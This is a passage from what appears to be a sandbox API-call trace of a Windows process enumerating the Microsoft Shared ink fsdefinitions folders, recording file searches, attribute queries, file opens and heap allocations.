ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="main", cAlternateFileName="")) returned 1 [0049.095] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f513079, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f513079, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f513079, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x9655, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.xml", cAlternateFileName="")) returned 1 [0049.095] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.095] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.095] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.096] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.096] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.096] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf90c50 [0049.096] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf91f48 [0049.096] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.096] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers", cAlternateFileName="")) returned 1 [0049.096] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f79a7b7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f79a7b7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7c0915, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers.xml", cAlternateFileName="")) returned 1 [0049.096] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.096] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.096] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.096] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.096] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.096] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf90c70 [0049.096] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf92050 [0049.096] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.096] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu", cAlternateFileName="")) returned 1 [0049.096] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f80cbd1, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f80cbd1, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f832d2f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1 [0049.096] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.096] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.096] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.096] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.096] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.096] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf90c90 [0049.096] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf92158 [0049.096] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.096] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad", cAlternateFileName="")) returned 1 [0049.096] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdb3fc5, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdb3fc5, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdb3fc5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1 [0049.096] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.096] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.096] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.096] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.096] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.096] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf90cb0 [0049.096] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf92260 [0049.097] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.097] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred", cAlternateFileName="")) returned 1 [0049.097] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe00281, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe00281, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe00281, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred.xml", cAlternateFileName="")) returned 1 [0049.097] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.097] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.097] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.097] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.097] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.097] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf90cd0 [0049.097] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf92368 [0049.097] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.097] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols", cAlternateFileName="")) returned 1 [0049.097] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe7269b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe7269b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe7269b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols.xml", cAlternateFileName="")) returned 1 [0049.097] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.097] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.097] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.097] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.097] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.097] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf90cf0 [0049.097] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf92470 [0049.097] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.097] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="web", cAlternateFileName="")) returned 1 [0049.097] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 1 [0049.097] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.097] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.097] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.097] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.097] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.097] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf90d10 [0049.097] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf92578 [0049.097] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.097] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 0 [0049.097] GetLastError () returned 0x12 [0049.098] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0049.098] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0049.098] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.098] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad", cAlternateFileName="")) returned 1 [0049.098] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf92680 [0049.098] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad"), fInfoLevelId=0x0, lpFileInformation=0x174eb98 | out: lpFileInformation=0x174eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0049.130] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0049.130] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0049.130] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf934e0 [0049.130] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf934e0, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0xf934e0, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0049.130] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf934e0) returned 1 [0049.130] NtClose (Handle=0x188) returned 0x0 [0049.130] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf92680) returned 1 [0049.130] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.130] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0049.130] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf92680 [0049.130] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.130] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf92788 [0049.130] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1a0 [0049.130] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.131] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 1 [0049.131] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.131] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.132] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.132] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.132] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.132] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf92890 [0049.132] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0049.132] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf90d30 [0049.132] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf92998 [0049.132] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.132] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 0 [0049.132] GetLastError () returned 0x12 [0049.132] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d220 [0049.132] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0049.132] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.132] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 1 [0049.132] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 0 [0049.132] GetLastError () returned 0x12 [0049.132] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf92788) returned 1 [0049.132] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0049.132] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf92890) returned 1 [0049.132] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf92680) returned 1 [0049.132] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2b1a99, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2b1a99, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2b1a99, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0049.132] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad", cAlternateFileName="")) returned 1 [0049.132] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf92680 [0049.132] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad"), fInfoLevelId=0x0, lpFileInformation=0x174eb98 | out: lpFileInformation=0x174eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0049.133] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0049.133] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0049.133] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf934e0 [0049.133] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf934e0, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0xf934e0, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0049.133] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf934e0) returned 1 [0049.133] NtClose (Handle=0x190) returned 0x0 [0049.133] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf92680) returned 1 [0049.133] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.133] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0049.133] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf92680 [0049.133] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.133] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) 